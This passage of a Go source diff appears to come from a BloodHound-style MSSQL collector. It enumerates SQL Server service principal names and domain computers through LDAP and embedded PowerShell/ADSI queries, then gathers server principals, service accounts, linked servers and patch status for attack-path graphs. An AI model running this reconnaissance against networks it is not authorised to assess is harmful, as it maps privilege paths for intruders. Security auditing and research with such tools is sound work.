+ server.ObjectIdentifier = fmt.Sprintf("%s:%s", server.ComputerSID, server.InstanceName)
+ } else {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%d", server.ComputerSID, server.Port)
+ }
+ } else {
+ // Use hostname-based identifier if no SID
+ hostname := strings.ToLower(server.Hostname)
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%s", hostname, server.InstanceName)
+ } else {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%d", hostname, server.Port)
+ }
+ }
+
+ // Check for duplicates
+ for _, existing := range c.serversToProcess {
+ if existing.ObjectIdentifier == server.ObjectIdentifier {
+ // Update hostname to prefer FQDN
+ if !strings.Contains(existing.Hostname, ".") && strings.Contains(server.Hostname, ".") {
+ existing.Hostname = server.Hostname
+ }
+ return // Already exists
+ }
+ }
+
+ c.serversToProcess = append(c.serversToProcess, server)
+}
+
+// buildServerList builds the list of servers to process
+func (c *Collector) buildServerList() error {
+ // From command line argument
+ if c.config.ServerInstance != "" {
+ server := c.parseServerString(c.config.ServerInstance)
+ c.tryResolveSID(server)
+ c.addServerToProcess(server)
+ c.logVerbose("Added server from command line: %s", c.config.ServerInstance)
+ }
+
+ // From comma-separated list
+ if c.config.ServerList != "" {
+ c.logVerbose("Processing comma-separated server list")
+ servers := strings.Split(c.config.ServerList, ",")
+ count := 0
+ for _, s := range servers {
+ s = strings.TrimSpace(s)
+ if s != "" {
+ server := c.parseServerString(s)
+ c.tryResolveSID(server)
+ c.addServerToProcess(server)
+ count++
+ }
+ }
+ c.logVerbose("Added %d servers from list", count)
+ }
+
+ // From file
+ if c.config.ServerListFile != "" {
+ c.logVerbose("Processing server list file: %s", c.config.ServerListFile)
+ data, err := os.ReadFile(c.config.ServerListFile)
+ if err != nil {
+ return fmt.Errorf("failed to read server list file: %w", err)
+ }
+ lines := strings.Split(string(data), "\n")
+ count := 0
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line != "" && !strings.HasPrefix(line, "#") {
+ server := c.parseServerString(line)
+ c.tryResolveSID(server)
+ c.addServerToProcess(server)
+ count++
+ }
+ }
+ c.logVerbose("Added %d servers from file", count)
+ }
+
+ // Auto-detect domain if not provided and we have servers
+ if c.config.Domain == "" && len(c.serversToProcess) > 0 {
+ // Try to extract domain from server FQDNs first
+ for _, server := range c.serversToProcess {
+ if strings.Contains(server.Hostname, ".") {
+ parts := strings.SplitN(server.Hostname, ".", 2)
+ if len(parts) == 2 && parts[1] != "" {
+ c.config.Domain = strings.ToUpper(parts[1])
+ c.logVerbose("Auto-detected domain from server FQDN: %s", c.config.Domain)
+ break
+ }
+ }
+ }
+ // Fallback to environment variables
+ if c.config.Domain == "" {
+ c.config.Domain = c.detectDomain()
+ }
+ }
+
+ // If no servers specified, enumerate SPNs from Active Directory
+ if len(c.serversToProcess) == 0 {
+ // Auto-detect domain if not provided
+ domain := c.config.Domain
+ if domain == "" {
+ domain = c.detectDomain()
+ }
+
+ if domain != "" {
+ // Update config.Domain so it's available for later resolution
+ c.config.Domain = domain
+ fmt.Printf("No servers specified, enumerating MSSQL SPNs from Active Directory (domain: %s)...\n", domain)
+ if err := c.enumerateServersFromAD(); err != nil {
+ fmt.Printf("Warning: SPN enumeration failed: %v\n", err)
+ fmt.Println("Hint: If LDAP authentication fails, you can:")
+ fmt.Println(" 1. Use --server, --server-list, or --server-list-file to specify servers manually")
+ fmt.Println(" 2. Use --ldap-user and --ldap-password to provide explicit credentials")
+ fmt.Println(" 3. Use the PowerShell version to enumerate SPNs, then provide the list to the Go version")
+ }
+ } else {
+ fmt.Println("No servers specified and could not detect domain. Use --domain to specify a domain or --server to specify a server.")
+ }
+ }
+
+ return nil
+}
+
+// tryResolveSID attempts to resolve the computer SID for a server
+func (c *Collector) tryResolveSID(server *ServerToProcess) {
+ if c.config.Domain == "" {
+ return
+ }
+
+ // Try Windows API first
+ if runtime.GOOS == "windows" {
+ sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain)
+ if err == nil && sid != "" {
+ server.ComputerSID = sid
+ return
+ }
+ }
+
+ // Try LDAP
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ sid, err := adClient.ResolveComputerSID(server.Hostname)
+ if err == nil && sid != "" {
+ server.ComputerSID = sid
+ }
+}
+
+// detectDomain attempts to auto-detect the domain from environment variables or system configuration.
+// Returns the domain name in UPPERCASE to match BloodHound conventions.
+func (c *Collector) detectDomain() string {
+ // Try USERDNSDOMAIN environment variable (Windows domain-joined machines)
+ if domain := os.Getenv("USERDNSDOMAIN"); domain != "" {
+ domain = strings.ToUpper(domain)
+ c.logVerbose("Detected domain from USERDNSDOMAIN: %s", domain)
+ return domain
+ }
+
+ // Try USERDOMAIN environment variable as fallback
+ if domain := os.Getenv("USERDOMAIN"); domain != "" {
+ domain = strings.ToUpper(domain)
+ c.logVerbose("Detected domain from USERDOMAIN: %s", domain)
+ return domain
+ }
+
+ // On Linux/Unix, try to get domain from /etc/resolv.conf or similar
+ if runtime.GOOS != "windows" {
+ if data, err := os.ReadFile("/etc/resolv.conf"); err == nil {
+ lines := strings.Split(string(data), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if strings.HasPrefix(line, "search ") {
+ parts := strings.Fields(line)
+ if len(parts) > 1 {
+ domain := strings.ToUpper(parts[1])
+ c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain)
+ return domain
+ }
+ }
+ if strings.HasPrefix(line, "domain ") {
+ parts := strings.Fields(line)
+ if len(parts) > 1 {
+ domain := strings.ToUpper(parts[1])
+ c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain)
+ return domain
+ }
+ }
+ }
+ }
+ }
+
+ return ""
+}
+
+// enumerateServersFromAD discovers MSSQL servers from Active Directory SPNs
+func (c *Collector) enumerateServersFromAD() error {
+ // First try native Go LDAP
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+
+ spns, err := adClient.EnumerateMSSQLSPNs()
+ adClient.Close()
+
+ // If LDAP failed on Windows, try using PowerShell/ADSI as fallback
+ if err != nil && runtime.GOOS == "windows" {
+ c.logVerbose("LDAP enumeration failed, trying PowerShell/ADSI fallback...")
+ spns, err = c.enumerateSPNsViaPowerShell()
+ }
+
+ if err != nil {
+ return fmt.Errorf("failed to enumerate MSSQL SPNs: %w", err)
+ }
+
+ fmt.Printf("Found %d MSSQL SPNs\n", len(spns))
+
+ for _, spn := range spns {
+ // Create ServerToProcess from SPN
+ server := &ServerToProcess{
+ Hostname: spn.Hostname,
+ Port: 1433, // Default
+ }
+
+ // Parse port or instance from SPN
+ if spn.Port != "" {
+ if port, err := strconv.Atoi(spn.Port); err == nil {
+ server.Port = port
+ }
+ server.ConnectionString = fmt.Sprintf("%s:%s", spn.Hostname, spn.Port)
+ } else if spn.InstanceName != "" {
+ server.InstanceName = spn.InstanceName
+ server.ConnectionString = fmt.Sprintf("%s\\%s", spn.Hostname, spn.InstanceName)
+ } else {
+ server.ConnectionString = spn.Hostname
+ }
+
+ // Try to resolve computer SID early
+ c.tryResolveSID(server)
+
+ // Build ObjectIdentifier and add to processing list (handles deduplication)
+ c.addServerToProcess(server)
+
+ // Track SPN data by ObjectIdentifier for later use
+ c.serverSPNDataMu.Lock()
+ spnInfo, exists := c.serverSPNData[server.ObjectIdentifier]
+ if !exists {
+ spnInfo = &ServerSPNInfo{
+ SPNs: []string{},
+ AccountName: spn.AccountName,
+ AccountSID: spn.AccountSID,
+ }
+ c.serverSPNData[server.ObjectIdentifier] = spnInfo
+ }
+ c.serverSPNDataMu.Unlock()
+
+ // Build full SPN string and add it
+ fullSPN := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname)
+ if spn.Port != "" {
+ fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.Port)
+ } else if spn.InstanceName != "" {
+ fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.InstanceName)
+ }
+ spnInfo.SPNs = append(spnInfo.SPNs, fullSPN)
+
+ fmt.Printf(" Found: %s (ObjectID: %s, service account: %s)\n", server.ConnectionString, server.ObjectIdentifier, spn.AccountName)
+ }
+
+ // If ScanAllComputers is enabled, also enumerate all domain computers
+ if c.config.ScanAllComputers {
+ fmt.Println("ScanAllComputers enabled, enumerating all domain computers...")
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ computers, err := adClient.EnumerateAllComputers()
+ if err != nil && runtime.GOOS == "windows" {
+ // Try PowerShell fallback on Windows
+ fmt.Printf("LDAP enumeration failed (%v), trying PowerShell fallback...\n", err)
+ computers, err = c.enumerateComputersViaPowerShell()
+ }
+ if err != nil {
+ fmt.Printf("Warning: failed to enumerate domain computers: %v\n", err)
+ } else {
+ added := 0
+ for _, computer := range computers {
+ server := c.parseServerString(computer)
+ c.tryResolveSID(server)
+ oldLen := len(c.serversToProcess)
+ c.addServerToProcess(server)
+ if len(c.serversToProcess) > oldLen {
+ added++
+ }
+ }
+ fmt.Printf("Added %d additional computers to scan\n", added)
+ }
+ }
+
+ fmt.Printf("\nUnique servers to process: %d\n", len(c.serversToProcess))
+ return nil
+}
+
+// enumerateSPNsViaPowerShell uses PowerShell/ADSI to enumerate MSSQL SPNs (Windows fallback)
+func (c *Collector) enumerateSPNsViaPowerShell() ([]types.SPN, error) {
+ fmt.Println("Using PowerShell/ADSI fallback for SPN enumeration...")
+
+ // PowerShell script to enumerate MSSQL SPNs using ADSI
+ script := `
+$searcher = [adsisearcher]"(servicePrincipalName=MSSQLSvc/*)"
+$searcher.PageSize = 1000
+$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid'))
+$results = $searcher.FindAll()
+foreach ($result in $results) {
+ $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value
+ $samName = $result.Properties['samaccountname'][0]
+ foreach ($spn in $result.Properties['serviceprincipalname']) {
+ if ($spn -like 'MSSQLSvc/*') {
+ Write-Output "$spn|$samName|$sid"
+ }
+ }
+}
+`
+
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, fmt.Errorf("PowerShell SPN enumeration failed: %w", err)
+ }
+
+ var spns []types.SPN
+ lines := strings.Split(string(output), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+
+ parts := strings.Split(line, "|")
+ if len(parts) < 3 {
+ continue
+ }
+
+ spnStr := parts[0]
+ accountName := parts[1]
+ accountSID := parts[2]
+
+ // Parse SPN: MSSQLSvc/hostname:port or MSSQLSvc/hostname:instancename
+ spn := c.parseSPN(spnStr, accountName, accountSID)
+ if spn != nil {
+ spns = append(spns, *spn)
+ }
+ }
+
+ return spns, nil
+}
+
+// enumerateComputersViaPowerShell uses PowerShell/ADSI to enumerate all domain computers (Windows fallback)
+func (c *Collector) enumerateComputersViaPowerShell() ([]string, error) {
+ fmt.Println("Using PowerShell/ADSI fallback for computer enumeration...")
+
+ // PowerShell script to enumerate all domain computers using ADSI
+ script := `
+$searcher = [adsisearcher]"(&(objectCategory=computer)(objectClass=computer))"
+$searcher.PageSize = 1000
+$searcher.PropertiesToLoad.AddRange(@('dNSHostName', 'name'))
+$results = $searcher.FindAll()
+foreach ($result in $results) {
+ $dns = $result.Properties['dnshostname']
+ $name = $result.Properties['name']
+ if ($dns -and $dns[0]) {
+ Write-Output $dns[0]
+ } elseif ($name -and $name[0]) {
+ Write-Output $name[0]
+ }
+}
+`
+
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, fmt.Errorf("PowerShell computer enumeration failed: %w", err)
+ }
+
+ var computers []string
+ lines := strings.Split(string(output), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line != "" {
+ computers = append(computers, line)
+ }
+ }
+
+ fmt.Printf("PowerShell enumerated %d computers\n", len(computers))
+ return computers, nil
+}
+
+// parseSPN parses an SPN string into an SPN struct
+func (c *Collector) parseSPN(spnStr, accountName, accountSID string) *types.SPN {
+ // Format: MSSQLSvc/hostname:portOrInstance
+ if !strings.HasPrefix(strings.ToUpper(spnStr), "MSSQLSVC/") {
+ return nil
+ }
+
+ remainder := spnStr[9:] // Remove "MSSQLSvc/"
+ parts := strings.SplitN(remainder, ":", 2)
+ hostname := parts[0]
+
+ var port, instanceName string
+ if len(parts) > 1 {
+ portOrInstance := parts[1]
+ // Check if it's a port number
+ if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil {
+ port = portOrInstance
+ } else {
+ instanceName = portOrInstance
+ }
+ }
+
+ return &types.SPN{
+ Hostname: hostname,
+ Port: port,
+ InstanceName: instanceName,
+ AccountName: accountName,
+ AccountSID: accountSID,
+ }
+}
+
+// processServer collects data from a single SQL Server
+func (c *Collector) processServer(server *ServerToProcess) error {
+ ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
+ defer cancel()
+
+ // Check if we have SPN data for this server (keyed by ObjectIdentifier)
+ c.serverSPNDataMu.RLock()
+ spnInfo := c.serverSPNData[server.ObjectIdentifier]
+ c.serverSPNDataMu.RUnlock()
+
+ // Connect to the server
+ client := mssql.NewClient(server.ConnectionString, c.config.UserID, c.config.Password)
+ client.SetDomain(c.config.Domain)
+ client.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword)
+ client.SetVerbose(c.config.Verbose)
+ client.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers)
+ if err := client.Connect(ctx); err != nil {
+ // If hostname doesn't have a domain but we have one from linked server discovery, try FQDN
+ if server.Domain != "" && !strings.Contains(server.Hostname, ".") {
+ fqdnHostname := server.Hostname + "." + server.Domain
+ c.logVerbose("Connection failed, trying FQDN: %s", fqdnHostname)
+
+ // Build FQDN connection string
+ fqdnConnStr := fqdnHostname
+ if server.Port != 0 && server.Port != 1433 {
+ fqdnConnStr = fmt.Sprintf("%s:%d", fqdnHostname, server.Port)
+ } else if server.InstanceName != "" {
+ fqdnConnStr = fmt.Sprintf("%s\\%s", fqdnHostname, server.InstanceName)
+ }
+
+ fqdnClient := mssql.NewClient(fqdnConnStr, c.config.UserID, c.config.Password)
+ fqdnClient.SetDomain(c.config.Domain)
+ fqdnClient.SetLDAPCredentials(c.config.LDAPUser, c.config.LDAPPassword)
+ fqdnClient.SetVerbose(c.config.Verbose)
+ fqdnClient.SetCollectFromLinkedServers(c.config.CollectFromLinkedServers)
+ fqdnErr := fqdnClient.Connect(ctx)
+ if fqdnErr == nil {
+ // FQDN connection succeeded - update server info and continue
+ fmt.Printf(" Connected using FQDN: %s\n", fqdnHostname)
+ server.Hostname = fqdnHostname
+ server.ConnectionString = fqdnConnStr
+ client = fqdnClient
+ // Fall through to continue with collection
+ goto connected
+ }
+ fqdnClient.Close()
+ c.logVerbose("FQDN connection also failed: %v", fqdnErr)
+ }
+
+ // Connection failed - check if we have SPN data to create partial output
+ if spnInfo != nil {
+ fmt.Printf(" Connection failed but server has SPN - creating nodes/edges from SPN data\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ // No SPN data available - try to look up SPNs from AD for this server
+ spnInfo = c.lookupSPNsForServer(server)
+ if spnInfo != nil {
+ fmt.Printf(" Connection failed - looked up SPN from AD, creating partial output\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ // No SPN data - skip this server
+ return fmt.Errorf("connection failed and no SPN data available: %w", err)
+ }
+
+connected:
+ defer client.Close()
+
+ c.logVerbose("Successfully connected to %s", server.ConnectionString)
+
+ // Collect server information
+ serverInfo, err := client.CollectServerInfo(ctx)
+ if err != nil {
+ // Collection failed after connection - try partial output if we have SPN data
+ if spnInfo != nil {
+ fmt.Printf(" Collection failed but server has SPN - creating nodes/edges from SPN data\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ // Try AD lookup for SPN data
+ spnInfo = c.lookupSPNsForServer(server)
+ if spnInfo != nil {
+ fmt.Printf(" Collection failed - looked up SPN from AD, creating partial output\n")
+ return c.processServerFromSPNData(server, spnInfo, err)
+ }
+
+ return fmt.Errorf("collection failed: %w", err)
+ }
+
+ // Merge SPN data if available
+ if spnInfo != nil {
+ if len(serverInfo.SPNs) == 0 {
+ serverInfo.SPNs = spnInfo.SPNs
+ }
+ // Add service account from SPN if not already present
+ if len(serverInfo.ServiceAccounts) == 0 && spnInfo.AccountName != "" {
+ serverInfo.ServiceAccounts = append(serverInfo.ServiceAccounts, types.ServiceAccount{
+ Name: spnInfo.AccountName,
+ SID: spnInfo.AccountSID,
+ ObjectIdentifier: spnInfo.AccountSID,
+ })
+ }
+ }
+
+ // If we couldn't get the computer SID from SQL Server, try other methods
+ // The resolution function will extract domain from FQDN if not provided
+ if serverInfo.ComputerSID == "" {
+ c.resolveComputerSIDViaLDAP(serverInfo)
+ }
+
+ // Convert built-in service accounts (LocalSystem, Local Service, Network Service)
+ // to the computer account, as they authenticate on the network as the computer
+ c.preprocessServiceAccounts(serverInfo)
+
+ // Resolve service account SIDs via LDAP if they don't have SIDs
+ c.resolveServiceAccountSIDsViaLDAP(serverInfo)
+
+ // Resolve credential identity SIDs via LDAP for credential edges
+ c.resolveCredentialSIDsViaLDAP(serverInfo)
+
+ // Enumerate local Windows groups that have SQL logins and their domain members
+ c.enumerateLocalGroupMembers(serverInfo)
+
+ // Check CVE-2025-49758 patch status
+ c.logCVE202549758Status(serverInfo)
+
+ // Process discovered linked servers
+ c.processLinkedServers(serverInfo, server)
+
+ fmt.Printf("Collected: %d principals, %d databases\n",
+ len(serverInfo.ServerPrincipals), len(serverInfo.Databases))
+
+ // Generate output filename using PowerShell naming convention
+ outputFile := filepath.Join(c.tempDir, c.generateFilename(server))
+
+ if err := c.generateOutput(serverInfo, outputFile); err != nil {
+ return fmt.Errorf("output generation failed: %w", err)
+ }
+
+ c.addOutputFile(outputFile)
+ fmt.Printf("Output: %s\n", outputFile)
+
+ return nil
+}
+
+// processServerFromSPNData creates partial output when connection fails but SPN data exists
+func (c *Collector) processServerFromSPNData(server *ServerToProcess, spnInfo *ServerSPNInfo, connErr error) error {
+ // Try to resolve the FQDN
+ fqdn := server.Hostname
+ if !strings.Contains(server.Hostname, ".") && c.config.Domain != "" {
+ fqdn = fmt.Sprintf("%s.%s", server.Hostname, strings.ToLower(c.config.Domain))
+ }
+
+ // Try to resolve computer SID if not already resolved
+ computerSID := server.ComputerSID
+ if computerSID == "" && c.config.Domain != "" {
+ if runtime.GOOS == "windows" {
+ sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain)
+ if err == nil && sid != "" {
+ computerSID = sid
+ server.ComputerSID = sid
+ }
+ }
+ }
+
+ // Use ObjectIdentifier from server, or build it if needed
+ objectIdentifier := server.ObjectIdentifier
+ if objectIdentifier == "" {
+ if computerSID != "" {
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ objectIdentifier = fmt.Sprintf("%s:%s", computerSID, server.InstanceName)
+ } else {
+ objectIdentifier = fmt.Sprintf("%s:%d", computerSID, server.Port)
+ }
+ } else {
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ objectIdentifier = fmt.Sprintf("%s:%s", strings.ToLower(fqdn), server.InstanceName)
+ } else {
+ objectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(fqdn), server.Port)
+ }
+ }
+ }
+
+ // Create minimal server info from SPN data
+ // NOTE: We intentionally do NOT add ServiceAccounts here to match PowerShell behavior.
+ // PS stores ServiceAccountSIDs from SPN but uses ServiceAccounts (from SQL query) for edge creation.
+ // For failed connections, ServiceAccounts is empty, so no service account edges are created.
+ serverInfo := &types.ServerInfo{
+ ObjectIdentifier: objectIdentifier,
+ Hostname: server.Hostname,
+ ServerName: server.ConnectionString,
+ SQLServerName: server.ConnectionString,
+ InstanceName: server.InstanceName,
+ Port: server.Port,
+ FQDN: fqdn,
+ ComputerSID: computerSID,
+ SPNs: spnInfo.SPNs,
+ // ServiceAccounts intentionally left empty to match PS behavior
+ }
+
+ // Check CVE-2025-49758 patch status (will show version unknown for SPN-only data)
+ c.logCVE202549758Status(serverInfo)
+
+ fmt.Printf("Created partial output from SPN data (connection error: %v)\n", connErr)
+
+ // Generate output using the consistent filename generation
+ outputFile := filepath.Join(c.tempDir, c.generateFilename(server))
+
+ if err := c.generateOutput(serverInfo, outputFile); err != nil {
+ return fmt.Errorf("output generation failed: %w", err)
+ }
+
+ c.addOutputFile(outputFile)
+ fmt.Printf("Output: %s\n", outputFile)
+
+ return nil
+}
+
+// lookupSPNsForServer queries AD for SPNs for a specific server hostname
+// This is used as a fallback when we don't have pre-enumerated SPN data
+func (c *Collector) lookupSPNsForServer(server *ServerToProcess) *ServerSPNInfo {
+ // Need a domain to query AD
+ domain := c.config.Domain
+ if domain == "" {
+ // Try to extract domain from hostname FQDN
+ if strings.Contains(server.Hostname, ".") {
+ parts := strings.SplitN(server.Hostname, ".", 2)
+ if len(parts) > 1 {
+ domain = parts[1]
+ }
+ }
+ }
+ // Use domain from linked server discovery if available
+ if domain == "" && server.Domain != "" {
+ domain = server.Domain
+ c.logVerbose("Using domain from linked server discovery: %s", domain)
+ }
+
+ if domain == "" {
+ fmt.Println(" Cannot lookup SPN - no domain available")
+ return nil
+ }
+
+ fmt.Printf(" Looking up SPNs for %s in AD (domain: %s)\n", server.Hostname, domain)
+
+ // Try native LDAP first
+ adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ spns, err := adClient.LookupMSSQLSPNsForHost(server.Hostname)
+ adClient.Close()
+
+ // If LDAP failed on Windows, try PowerShell/ADSI
+ if err != nil && runtime.GOOS == "windows" {
+ fmt.Println(" LDAP lookup failed, trying PowerShell/ADSI fallback...")
+ spns, err = c.lookupSPNsViaPowerShell(server.Hostname)
+ }
+
+ if err != nil {
+ fmt.Printf(" AD SPN lookup failed: %v\n", err)
+ return nil
+ }
+
+ if len(spns) == 0 {
+ fmt.Printf(" No SPNs found in AD for %s\n", server.Hostname)
+ return nil
+ }
+
+ fmt.Printf(" Found %d SPNs in AD for %s\n", len(spns), server.Hostname)
+
+ // Build ServerSPNInfo from the SPNs
+ spnInfo := &ServerSPNInfo{
+ SPNs: []string{},
+ }
+
+ for _, spn := range spns {
+ // Build SPN string
+ spnStr := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname)
+ if spn.Port != "" {
+ spnStr += ":" + spn.Port
+ } else if spn.InstanceName != "" {
+ spnStr += ":" + spn.InstanceName
+ }
+ spnInfo.SPNs = append(spnInfo.SPNs, spnStr)
+
+ // Use the first account info we find
+ if spnInfo.AccountName == "" {
+ spnInfo.AccountName = spn.AccountName
+ spnInfo.AccountSID = spn.AccountSID
+ }
+ }
+
+ // Also resolve computer SID if we don't have it
+ if server.ComputerSID == "" {
+ sid, err := ad.ResolveComputerSIDWindows(server.Hostname, domain)
+ if err == nil && sid != "" {
+ server.ComputerSID = sid
+ // Rebuild ObjectIdentifier with the new SID
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%s", sid, server.InstanceName)
+ } else {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, server.Port)
+ }
+ }
+ }
+
+ // Store in cache for future use
+ c.serverSPNDataMu.Lock()
+ c.serverSPNData[server.ObjectIdentifier] = spnInfo
+ c.serverSPNDataMu.Unlock()
+
+ return spnInfo
+}
+
+// lookupSPNsViaPowerShell uses PowerShell/ADSI to look up SPNs for a specific hostname
+func (c *Collector) lookupSPNsViaPowerShell(hostname string) ([]types.SPN, error) {
+ // Extract short hostname for matching
+ shortHost := hostname
+ if idx := strings.Index(hostname, "."); idx > 0 {
+ shortHost = hostname[:idx]
+ }
+
+ // PowerShell script to look up SPNs for a specific hostname
+ script := fmt.Sprintf(`
+$shortHost = '%s'
+$fqdn = '%s'
+$searcher = [adsisearcher]"(|(servicePrincipalName=MSSQLSvc/$shortHost*)(servicePrincipalName=MSSQLSvc/$fqdn*))"
+$searcher.PageSize = 1000
+$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid'))
+$results = $searcher.FindAll()
+foreach ($result in $results) {
+ $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value
+ $samName = $result.Properties['samaccountname'][0]
+ foreach ($spn in $result.Properties['serviceprincipalname']) {
+ if ($spn -like 'MSSQLSvc/*') {
+ # Filter to only matching hostnames
+ $spnHost = (($spn -split '/')[1] -split ':')[0]
+ if ($spnHost -ieq $shortHost -or $spnHost -ieq $fqdn -or $spnHost -like "$shortHost.*") {
+ Write-Output "$spn|$samName|$sid"
+ }
+ }
+ }
+}
+`, shortHost, hostname)
+
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, fmt.Errorf("PowerShell SPN lookup failed: %w", err)
+ }
+
+ var spns []types.SPN
+ lines := strings.Split(string(output), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+
+ parts := strings.Split(line, "|")
+ if len(parts) < 3 {
+ continue
+ }
+
+ spnStr := parts[0]
+ accountName := parts[1]
+ accountSID := parts[2]
+
+ spn := c.parseSPN(spnStr, accountName, accountSID)
+ if spn != nil {
+ spns = append(spns, *spn)
+ }
+ }
+
+ return spns, nil
+}
+
+// parseServerInstance parses a server instance string into hostname, port, and instance name
+func (c *Collector) parseServerInstance(serverInstance string) (hostname, port, instanceName string) {
+ // Handle formats: hostname, hostname:port, hostname\instance, hostname,port
+ if strings.Contains(serverInstance, "\\") {
+ parts := strings.SplitN(serverInstance, "\\", 2)
+ hostname = parts[0]
+ if len(parts) > 1 {
+ instanceName = parts[1]
+ }
+ } else if strings.Contains(serverInstance, ":") {
+ parts := strings.SplitN(serverInstance, ":", 2)
+ hostname = parts[0]
+ if len(parts) > 1 {
+ port = parts[1]
+ }
+ } else if strings.Contains(serverInstance, ",") {
+ parts := strings.SplitN(serverInstance, ",", 2)
+ hostname = parts[0]
+ if len(parts) > 1 {
+ port = parts[1]
+ }
+ } else {
+ hostname = serverInstance
+ }
+ return
+}
+
+// resolveComputerSIDViaLDAP attempts to resolve the computer SID via multiple methods
+func (c *Collector) resolveComputerSIDViaLDAP(serverInfo *types.ServerInfo) {
+ // Try to determine the domain from the FQDN if not provided
+ domain := c.config.Domain
+ if domain == "" && strings.Contains(serverInfo.FQDN, ".") {
+ // Extract domain from FQDN (e.g., server.domain.com -> domain.com)
+ parts := strings.SplitN(serverInfo.FQDN, ".", 2)
+ if len(parts) > 1 {
+ domain = parts[1]
+ }
+ }
+
+ // Use the machine name (without the FQDN)
+ machineName := serverInfo.Hostname
+ if strings.Contains(machineName, ".") {
+ machineName = strings.Split(machineName, ".")[0]
+ }
+
+ c.logVerbose("Attempting to resolve computer SID for: %s (domain: %s)", machineName, domain)
+
+ // Method 1: Try Windows API (LookupAccountName) - most reliable on Windows
+ c.logVerbose(" Method 1: Windows API LookupAccountName")
+ sid, err := ad.ResolveComputerSIDWindows(machineName, domain)
+ if err == nil && sid != "" {
+ c.applyComputerSID(serverInfo, sid)
+ c.logVerbose(" Resolved computer SID via Windows API: %s", sid)
+ return
+ }
+ c.logVerbose(" Windows API method failed: %v", err)
+
+ // Method 2: If we have a domain SID from SQL Server, try Windows API with that context
+ if serverInfo.DomainSID != "" {
+ c.logVerbose(" Method 2: Windows API with domain SID context")
+ sid, err := ad.ResolveComputerSIDByDomainSID(machineName, serverInfo.DomainSID, domain)
+ if err == nil && sid != "" {
+ c.applyComputerSID(serverInfo, sid)
+ c.logVerbose(" Resolved computer SID via Windows API (domain context): %s", sid)
+ return
+ }
+ c.logVerbose(" Windows API with domain context failed: %v", err)
+ }
+
+ // Method 3: Try LDAP
+ if domain == "" {
+ c.logVerbose(" Cannot try LDAP: no domain specified (use -d flag)")
+ fmt.Printf(" Note: Could not resolve computer SID (no domain specified)\n")
+ return
+ }
+
+ c.logVerbose(" Method 3: LDAP query")
+
+ // Create AD client
+ adClient := ad.NewClient(domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ sid, err = adClient.ResolveComputerSID(machineName)
+ if err != nil {
+ fmt.Printf(" Note: Could not resolve computer SID via LDAP: %v\n", err)
+ return
+ }
+
+ c.applyComputerSID(serverInfo, sid)
+ c.logVerbose(" Resolved computer SID via LDAP: %s", sid)
+}
+
+// applyComputerSID applies the resolved computer SID to the server info and updates all references
+func (c *Collector) applyComputerSID(serverInfo *types.ServerInfo, sid string) {
+ // Store the old ObjectIdentifier to update references
+ oldObjectIdentifier := serverInfo.ObjectIdentifier
+
+ serverInfo.ComputerSID = sid
+ serverInfo.ObjectIdentifier = fmt.Sprintf("%s:%d", sid, serverInfo.Port)
+ fmt.Printf(" Resolved computer SID: %s\n", sid)
+
+ // Update all ObjectIdentifiers that reference the old server identifier
+ c.updateObjectIdentifiers(serverInfo, oldObjectIdentifier)
+}
+
